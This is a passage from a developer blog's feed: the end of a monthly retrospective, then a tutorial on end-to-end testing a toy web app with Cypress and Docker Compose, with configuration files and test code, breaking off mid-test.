&lt;p>User registration isn&amp;rsquo;t ready yet, but keep an eye out for a Twitter announcement in the next couple weeks about a working minimum viable product.&lt;/p>
&lt;div class="notice notice-info">
 If you&amp;rsquo;d like to be a beta tester for What Got Done, &lt;a href="https://mtlynch.io/about/">email me&lt;/a>.
&lt;/div>

&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/retrospectives/pytexas-2019-notes/">Presented a talk&lt;/a> at PyTexas&lt;/li>
&lt;li>Published a new &lt;a href="https://mtlynch.io/painless-web-app-testing/">blog post&lt;/a> about end-to-end testing&lt;/li>
&lt;li>Created a &lt;a href="https://twitter.com/deliberatecoder/status/1112688989306318850">fake podcast&lt;/a> for April Fool&amp;rsquo;s Day&lt;/li>
&lt;li>Got a prototype of &lt;a href="https://whatgotdone.com">What Got Done app&lt;/a> almost working&lt;/li>
&lt;li>Reached out to 11 potential customers for future projects&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Vue.js is a better match for me than Angular
&lt;ul>
&lt;li>Angular has complex features that probably benefit large development teams but which impede solo developers and small teams.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If your project relies on traffic from organic search, it takes months/years for search engines to bubble up your pages to their appropriate place in search results.&lt;/li>
&lt;li>Even if you&amp;rsquo;re offering someone a no-risk custom solution for their business, you still need to sell them on it.
&lt;ul>
&lt;li>Business owners are busy and don&amp;rsquo;t have time to take pitches from anyone who wants to sell them something, even if you promise something tailor-made for that business. You still need to give them a compelling reason to take a 30-minute meeting with you.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish a minimum viable product version of What Got Done and see if anyone wants to buy premium features.&lt;/li>
&lt;li>Meet with 10 potential customers for my next product.&lt;/li>
&lt;li>Publish a new blog post.&lt;/li>
&lt;/ul></content:encoded></item><item><title>End-to-End Testing Web Apps: The Painless Way</title><link>https://mtlynch.io/painless-web-app-testing/</link><pubDate>Wed, 01 May 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/painless-web-app-testing/</guid><description>&lt;p>Okay, I know you&amp;rsquo;re skeptical. Other guides have promised you painless web app tests only to reveal that their solution requires some hyper-specific tech stack or a paid third-party service. I won&amp;rsquo;t do that to you.&lt;/p>
&lt;p>This guide provides a straightforward and flexible template for end-to-end tests that you can apply to almost any web app. The &lt;strong>only&lt;/strong> requirement is that your app can run in Docker.&lt;/p>
&lt;p>That&amp;rsquo;s really the only requirement! You can test a Ruby app, a React app, an Enterprise Java Beans app, or even some wacky web stack you invented. And it doesn&amp;rsquo;t matter if you&amp;rsquo;re developing on Windows, Linux, or Mac. Best of all, you don&amp;rsquo;t have to perform convoluted configuration or install any software beyond Docker.&lt;/p></description><content:encoded>&lt;p>Okay, I know you&amp;rsquo;re skeptical. Other guides have promised you painless web app tests only to reveal that their solution requires some hyper-specific tech stack or a paid third-party service. I won&amp;rsquo;t do that to you.&lt;/p>
&lt;p>This guide provides a straightforward and flexible template for end-to-end tests that you can apply to almost any web app. The &lt;strong>only&lt;/strong> requirement is that your app can run in Docker.&lt;/p>
&lt;p>That&amp;rsquo;s really the only requirement! You can test a Ruby app, a React app, an Enterprise Java Beans app, or even some wacky web stack you invented. And it doesn&amp;rsquo;t matter if you&amp;rsquo;re developing on Windows, Linux, or Mac. Best of all, you don&amp;rsquo;t have to perform convoluted configuration or install any software beyond Docker.&lt;/p>
&lt;p>This tutorial uses free, open-source tools, and you can run them without registering an account anywhere. When it comes time to run your tests in a continuous integration environment like Circle or Travis, you don&amp;rsquo;t need to do anything special — you&amp;rsquo;ll run your tests with the same one-line command you use on your development machine.&lt;/p>
&lt;h2 id="cypress-the-star-of-the-show">Cypress, the star of the show&lt;/h2>
&lt;div class="notice notice-info">
 &lt;strong>Update (2022-10-25)&lt;/strong>: I no longer recommend Cypress for end-to-end testing web applications. For new projects, I recommend &lt;a href="https://mtlynch.io/notes/cypress-vs-playwright/#what-i-miss-about-cypress">using Playwright instead&lt;/a>.
&lt;/div>

&lt;p>The tool that makes this testing possible is &lt;a href="https://cypress.io/">Cypress&lt;/a>, a recent entrant to the field of browser automation. It&amp;rsquo;s an &lt;a href="https://github.com/cypress-io/cypress">open-source&lt;/a> end-to-end testing framework with a &lt;a href="https://www.cypress.io/about/#our-team">full-time team&lt;/a> actively developing it. Their business model is similar to &lt;a href="https://www.docker.com/">Docker&amp;rsquo;s&lt;/a> in that both companies publish free-open source tools and fund development by selling managed services for those tools.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 403px">



 &lt;a href="https://cypress.io">
 &lt;img
 
 sizes="(min-width: 768px) 403px, 98vw"
 srcset='https://mtlynch.io/painless-web-app-testing/cypress-logo-dark_hu_bad372308a6feb87.png 300w, https://mtlynch.io/painless-web-app-testing/cypress-logo-dark.png 403w'
 src="https://mtlynch.io/painless-web-app-testing/cypress-logo-dark.png" alt="Cypress logo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://cypress.io">Cypress&lt;/a> is an open-source tool for automated web app testing.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I first discovered Cypress last year after seeing &lt;a href="https://glebbahmutov.com/">Gleb Bahmutov&lt;/a> demonstrate it at a regional software conference. When he mentioned that Cypress had no dependencies on &lt;a href="https://www.seleniumhq.org/">Selenium&lt;/a>, I was intrigued. All my previous experience with end-to-end testing was awful, and Selenium was always at the root of my pain.&lt;/p>













 















&lt;figure class="img" style="max-width: 200px">



 &lt;a href="https://www.seleniumhq.org">
 &lt;img
 
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/painless-web-app-testing/selenium-logo.png 200w'
 src="https://mtlynch.io/painless-web-app-testing/selenium-logo.png" alt="Selenium logo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Selenium is the oldest and most prevalent browser automation tool, but it&amp;rsquo;s clunky and outdated.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Selenium is, by far, the most popular browser automation framework, but it also has all of the problems you&amp;rsquo;d expect of a Java-based tool designed 15 years ago. It&amp;rsquo;s a pain to install, its syntax is awkward, and it offers scant insights when your tests fail. In Gleb&amp;rsquo;s slick demos of Cypress, it promised to address all of these headaches.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/painless-web-app-testing/cypress-screenshot.png">
 &lt;img
 
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/painless-web-app-testing/cypress-screenshot_hu_e71bfdd7f3cce9d8.png 300w, https://mtlynch.io/painless-web-app-testing/cypress-screenshot_hu_f7c7021900a95540.png 600w, https://mtlynch.io/painless-web-app-testing/cypress-screenshot_hu_c391915bf795388e.png 800w, https://mtlynch.io/painless-web-app-testing/cypress-screenshot.png 1140w'
 src="https://mtlynch.io/painless-web-app-testing/cypress-screenshot.png" alt="Cypress logo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>One slick feature of Cypress is that it records the browser at every step of your test to help you diagnose failures.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I eagerly read &lt;a href="https://docs.cypress.io/guides/getting-started/installing-cypress.html">the Cypress docs&lt;/a> but was disappointed to learn that virtually all of Cypress&amp;rsquo; documentation assumed that the user had a &lt;a href="https://nodejs.org/en/">Node.js&lt;/a> stack and developed in a graphical environment rather than a headless console.&lt;/p>
&lt;p>Still, Cypress seemed to have a promising future. A year later, I checked in on their progress and discovered &lt;a href="https://github.com/cypress-io/cypress-example-docker-compose">a new sample application&lt;/a> that combined Cypress with Docker Compose. Suddenly, everything clicked. Once I saw Cypress working under Docker Compose, it was clear how to adapt that pattern to any web app. Today, I&amp;rsquo;m showing you that pattern and how to use it in your apps.&lt;/p>
&lt;h2 id="a-reusable-pattern-for-end-to-end-tests">A reusable pattern for end-to-end tests&lt;/h2>
&lt;p>Combining Cypress with Docker Compose yields a test pattern that&amp;rsquo;s flexible enough to apply to almost any web app. Unlike other testing tools that make assumptions about your app&amp;rsquo;s implementation, this solution wholly decouples your test framework from the app you&amp;rsquo;re testing.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/painless-web-app-testing/architecture-diagram.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/painless-web-app-testing/architecture-diagram_hu_8faf9338fee3c187.jpg 300w, https://mtlynch.io/painless-web-app-testing/architecture-diagram_hu_90a12ac2d0c0d83b.jpg 600w, https://mtlynch.io/painless-web-app-testing/architecture-diagram_hu_8c17c40bc6e2e11.jpg 800w, https://mtlynch.io/painless-web-app-testing/architecture-diagram.jpg 907w'
 src="https://mtlynch.io/painless-web-app-testing/architecture-diagram.jpg" alt="Diagram of Docker container architecture" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>How Docker Compose, Cypress, and the web app fit together&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Docker Compose allows you to run Cypress in one container and your app in another. Your app doesn&amp;rsquo;t need to know anything about Cypress, and the only thing Cypress needs to know about your app is the network port to send HTTP requests.&lt;/p>
&lt;h2 id="a-simple-web-app-to-test">A simple web app to test&lt;/h2>
&lt;p>As an example web app to test, I present Sentimentalyzer: the world&amp;rsquo;s dumbest text sentiment analyzer. It tries to guess the user&amp;rsquo;s mood from a sample of their writing.&lt;/p>
&lt;p>If you enter the text &lt;code>It's a nice day today&lt;/code>, Sentimentalyzer deduces that you&amp;rsquo;re happy:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 710px">



 &lt;a href="https://mtlynch.io/painless-web-app-testing/sentimentalyzer-analyze-content.png">
 &lt;img
 
 sizes="(min-width: 768px) 710px, 98vw"
 srcset='https://mtlynch.io/painless-web-app-testing/sentimentalyzer-analyze-content_hu_6a3dfd770b82d5aa.png 300w, https://mtlynch.io/painless-web-app-testing/sentimentalyzer-analyze-content_hu_e18d2dfc258e4a1a.png 600w, https://mtlynch.io/painless-web-app-testing/sentimentalyzer-analyze-content.png 710w'
 src="https://mtlynch.io/painless-web-app-testing/sentimentalyzer-analyze-content.png" alt="Entering text in Sentimentalyzer" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 






&lt;div class="img" style="max-width: 710px">



 &lt;a href="https://mtlynch.io/painless-web-app-testing/sentimentalyzer-results-content.png">
 &lt;img
 
 sizes="(min-width: 768px) 710px, 98vw"
 srcset='https://mtlynch.io/painless-web-app-testing/sentimentalyzer-results-content_hu_eed9fb0c68a00c10.png 300w, https://mtlynch.io/painless-web-app-testing/sentimentalyzer-results-content_hu_eb20b212bf59aa2f.png 600w, https://mtlynch.io/painless-web-app-testing/sentimentalyzer-results-content.png 710w'
 src="https://mtlynch.io/painless-web-app-testing/sentimentalyzer-results-content.png" alt="Sentimentalyzer produces results" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Sentimentalyzer analyzing happy text&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>If you enter the text &lt;code>Who ate ALL MY WAFFLES?&lt;/code>, Sentimentalyzer assumes that you&amp;rsquo;re angry:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 710px">



 &lt;a href="https://mtlynch.io/painless-web-app-testing/sentimentalyzer-analyze-angry.png">
 &lt;img
 
 sizes="(min-width: 768px) 710px, 98vw"
 srcset='https://mtlynch.io/painless-web-app-testing/sentimentalyzer-analyze-angry_hu_38b63d654bf9a5fa.png 300w, https://mtlynch.io/painless-web-app-testing/sentimentalyzer-analyze-angry_hu_c3c77b5d70fc330d.png 600w, https://mtlynch.io/painless-web-app-testing/sentimentalyzer-analyze-angry.png 710w'
 src="https://mtlynch.io/painless-web-app-testing/sentimentalyzer-analyze-angry.png" alt="Entering text in Sentimentalyzer" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 






&lt;div class="img" style="max-width: 710px">



 &lt;a href="https://mtlynch.io/painless-web-app-testing/sentimentalyzer-results-angry.png">
 &lt;img
 
 sizes="(min-width: 768px) 710px, 98vw"
 srcset='https://mtlynch.io/painless-web-app-testing/sentimentalyzer-results-angry_hu_bca863baa5a03ea7.png 300w, https://mtlynch.io/painless-web-app-testing/sentimentalyzer-results-angry_hu_2e569591ccb00b27.png 600w, https://mtlynch.io/painless-web-app-testing/sentimentalyzer-results-angry.png 710w'
 src="https://mtlynch.io/painless-web-app-testing/sentimentalyzer-results-angry.png" alt="Sentimentalyzer produces results" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Sentimentalyzer analyzing angry text&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>The algorithm is simple: if more than 50% of the characters are uppercase, the user is yelling, so they must be mad. Otherwise, Sentimentalyzer assumes the user feels okay.&lt;/p>
&lt;h2 id="project-layout">Project layout&lt;/h2>
&lt;p>Here&amp;rsquo;s the file layout for &lt;a href="https://github.com/mtlynch/hello-world-cypress">my example project&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>main.go &amp;lt;- source for my web app, Sentimentalyzer
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Dockerfile &amp;lt;- defines how to run Sentimentalyzer in a Docker container
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>e2e/ &amp;lt;- folder that contains all the files for my end-to-end tests
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cypress.json &amp;lt;- Cypress configuration
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> docker-compose.yml &amp;lt;- glue that binds together my app container with the Cypress container
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> integration/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> spec.js &amp;lt;- defines the end-to-end test for Sentimentalyzer
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>All of the production logic is in the root folder, while all the end-to-end testing code is in the &lt;code>e2e&lt;/code> folder.&lt;/p>
&lt;h2 id="run-sentimentalyzer-locally">Run Sentimentalyzer locally&lt;/h2>
&lt;p>I&amp;rsquo;m deliberately not showing the app&amp;rsquo;s source code here to emphasize the fact that you can write Cypress tests without ever seeing the implementation of the app itself. Sentimentalyzer happens to be a Go app, but the tests would be the same had I implemented it in Python or Angular. If you&amp;rsquo;re curious, the source code is &lt;a href="https://github.com/mtlynch/hello-world-cypress">on GitHub&lt;/a>.&lt;/p>
&lt;p>To play with Sentimentalyzer on your machine, run the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>git clone https://github.com/mtlynch/hello-world-cypress.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> hello-world-cypress
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker build --tag sentimentalyzer .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --interactive &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --tty &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --env &lt;span style="color:#40ffff">PORT&lt;/span>=&lt;span style="color:#3677a9">8123&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --publish 8123:8123 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sentimentalyzer
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The above command spawns a Sentimentalyzer server on your local machine at &lt;a href="http://localhost:8123">http://localhost:8123&lt;/a>.&lt;/p>
&lt;p>Now that I can run my app in a Docker container, I&amp;rsquo;m ready to use Cypress to create an end-to-end test for it.&lt;/p>
&lt;h2 id="creating-an-end-to-end-test">Creating an end-to-end test&lt;/h2>
&lt;p>To write your first Cypress end-to-end test, you only need three files:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="#cypressjson">&lt;code>cypress.json&lt;/code>&lt;/a>&lt;/li>
&lt;li>&lt;a href="#docker-composeyml">&lt;code>docker-compose.yml&lt;/code>&lt;/a>&lt;/li>
&lt;li>&lt;a href="#integrationspecjs">&lt;code>integration/spec.js&lt;/code>&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="cypressjson">&lt;code>cypress.json&lt;/code>&lt;/h3>
&lt;p>This file specifies Cypress&amp;rsquo; &lt;a href="https://docs.cypress.io/guides/references/configuration.html">configuration options&lt;/a>:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;pluginsFile&amp;#34;&lt;/span>: &lt;span style="color:#6ab825;font-weight:bold">false&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;supportFile&amp;#34;&lt;/span>: &lt;span style="color:#6ab825;font-weight:bold">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/painless-web-app-testing/cypress.json" download class="download-raw-button">download cypress.json&lt;/a>
 &lt;/div>


&lt;p>These settings aren&amp;rsquo;t terribly interesting, but I set them to &lt;code>false&lt;/code> to prevent Cypress from auto-generating unnecessary helper files.&lt;/p>
&lt;h3 id="docker-composeyml">&lt;code>docker-compose.yml&lt;/code>&lt;/h3>
&lt;p>This file defines a Docker container for Sentimentalyzer and a Docker container for Cypress and allows them to talk to each other:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yml" data-lang="yml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">version&lt;/span>:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;3.2&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">services&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">sentimentalyzer&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">build&lt;/span>:&lt;span style="color:#666"> &lt;/span>../&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">environment&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- PORT=8123&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">cypress&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">image&lt;/span>:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;cypress/included:4.4.0&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">depends_on&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- sentimentalyzer&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">environment&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- CYPRESS_baseUrl=http://sentimentalyzer:8123&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">working_dir&lt;/span>:&lt;span style="color:#666"> &lt;/span>/e2e&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">volumes&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- ./:/e2e&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/painless-web-app-testing/docker-compose.yml" download class="download-raw-button">download docker-compose.yml&lt;/a>
 &lt;/div>


&lt;p>A few lines are worth calling out:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yml" data-lang="yml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">image&lt;/span>:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;cypress/included:4.4.0&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>cypress/included&lt;/code> is the family of &lt;a href="https://github.com/cypress-io/cypress-docker-images">Cypress Docker images&lt;/a> that have Cypress pre-installed in the image itself. Other families such as &lt;code>cypress/base&lt;/code> and &lt;code>cypress/browsers&lt;/code> assume that the client will install Cypress at runtime. By using the &lt;code>cypress/included&lt;/code> image, I ensure that Cypress executes tests as soon as its container starts up.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yml" data-lang="yml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">depends_on&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- sentimentalyzer&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>depends_on&lt;/code> stanza ensures that Sentimentalyzer is up and running before Cypress starts executing its tests.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yml" data-lang="yml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">environment&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- CYPRESS_baseUrl=http://sentimentalyzer:8123&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>CYPRESS_baseUrl&lt;/code> environment variable gives Cypress the URL where it can access Sentimentalyzer. Because Cypress and Sentimentalyzer run in the same Docker Compose configuration, Cypress can send Sentimentalyzer network requests using its container name (&lt;code>sentimentalyzer&lt;/code>) as a hostname.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yml" data-lang="yml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">working_dir&lt;/span>:&lt;span style="color:#666"> &lt;/span>/e2e&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">volumes&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- ./:/e2e&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Lastly, I use Docker&amp;rsquo;s &lt;a href="https://docs.docker.com/storage/volumes/">volume mounting feature&lt;/a> so that the Cypress Docker container shares some of the host machine&amp;rsquo;s filesystem.&lt;/p>
&lt;p>Everything in the host machine&amp;rsquo;s &lt;code>./e2e&lt;/code> directory appears in the Docker container under the path &lt;code>/e2e&lt;/code>. This ensures that when Cypress writes logs, screenshots, or videos during its execution, they&amp;rsquo;re available immediately on the host machine without any manual copy from container to host. Binding the host volume in this way also makes it easy to edit and re-run your tests without having to rebuild your entire Docker image.&lt;/p>
&lt;p>The &lt;code>working_dir&lt;/code> line ensures that Cypress treats the &lt;code>/e2e&lt;/code> directory as its current folder in the filesystem.&lt;/p>
&lt;h3 id="integrationspecjs">&lt;code>integration/spec.js&lt;/code>&lt;/h3>
&lt;p>Now that the configuration is out of the way, it&amp;rsquo;s time for the fun part: writing tests.&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>it(&lt;span style="color:#ed9d13">&amp;#34;detects angry sentiment&amp;#34;&lt;/span>, () =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cy.visit(&lt;span style="color:#ed9d13">&amp;#34;/analyze&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cy.get(&lt;span style="color:#ed9d13">&amp;#34;#feelings&amp;#34;&lt;/span>).type(&lt;span style="color:#ed9d13">&amp;#34;I REALLY need some COFFEE&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cy.get(&lt;span style="color:#ed9d13">&amp;#34;form&amp;#34;&lt;/span>).submit();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cy.get(&lt;span style="color:#ed9d13">&amp;#34;.results p&amp;#34;&lt;/span>).should(&lt;span style="color:#ed9d13">&amp;#34;contain&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;You are feeling: Angry&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>});
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>it(&lt;span style="color:#ed9d13">&amp;#34;detects content sentiment&amp;#34;&lt;/span>, () =&amp;gt; {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cy.visit(&lt;span style="color:#ed9d13">&amp;#34;/analyze&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cy.get(&lt;span style="color:#ed9d13">&amp;#34;#feelings&amp;#34;&lt;/span>).type(&lt;span style="color:#ed9d13">&amp;#34;I think coffee in the morning is just swell!&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cy.get(&lt;span style="color:#ed9d13">&amp;#34;form&amp;#34;&lt;/span>).submit();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
